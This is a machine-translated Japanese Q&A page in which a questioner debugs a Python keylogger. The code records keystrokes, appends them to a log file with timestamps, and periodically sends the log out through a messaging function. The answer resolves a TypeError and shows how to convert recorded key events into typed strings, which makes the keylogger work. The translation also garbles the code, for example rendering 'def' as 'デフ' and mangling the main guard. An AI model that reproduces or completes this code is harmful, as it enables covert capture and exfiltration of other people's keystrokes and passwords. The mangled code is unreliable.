1. ホーム
  2. keyboard

[解決済み] TypeError: write() の引数はリストではなく str でなければならない。

2022-02-05 01:11:38

質問

デフ file_input(recorded)です。

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

もし 名前 == " メイン "です。

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

Pythonでkeyloggerを書こうとしているのですが、このようなタイプエラーに遭遇しました。

記録された変数をwrite()に入れたら、記録された変数の型がリストなので、join funcを使ってみたがうまくいかない。

どうすればいいですか?

を使ってファイルに書き込もうとしています。 w.write() が、引数として文字列しか取らない。 now_time は「datetime」型であり、文字列ではありません。もし、日付をフォーマットする必要がなければ、代わりにこれを実行すればよいのです。

w.write(str(nowtime))

と同じです。

w.write(recorded)

recorded はイベントのリストであるため、その文字列をファイルに書き込もうとする前に、それを使って文字列を構成する必要があります。例えば

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))

そして、その中の file_input() 関数を使用すると、できます。

w.write(typedstr)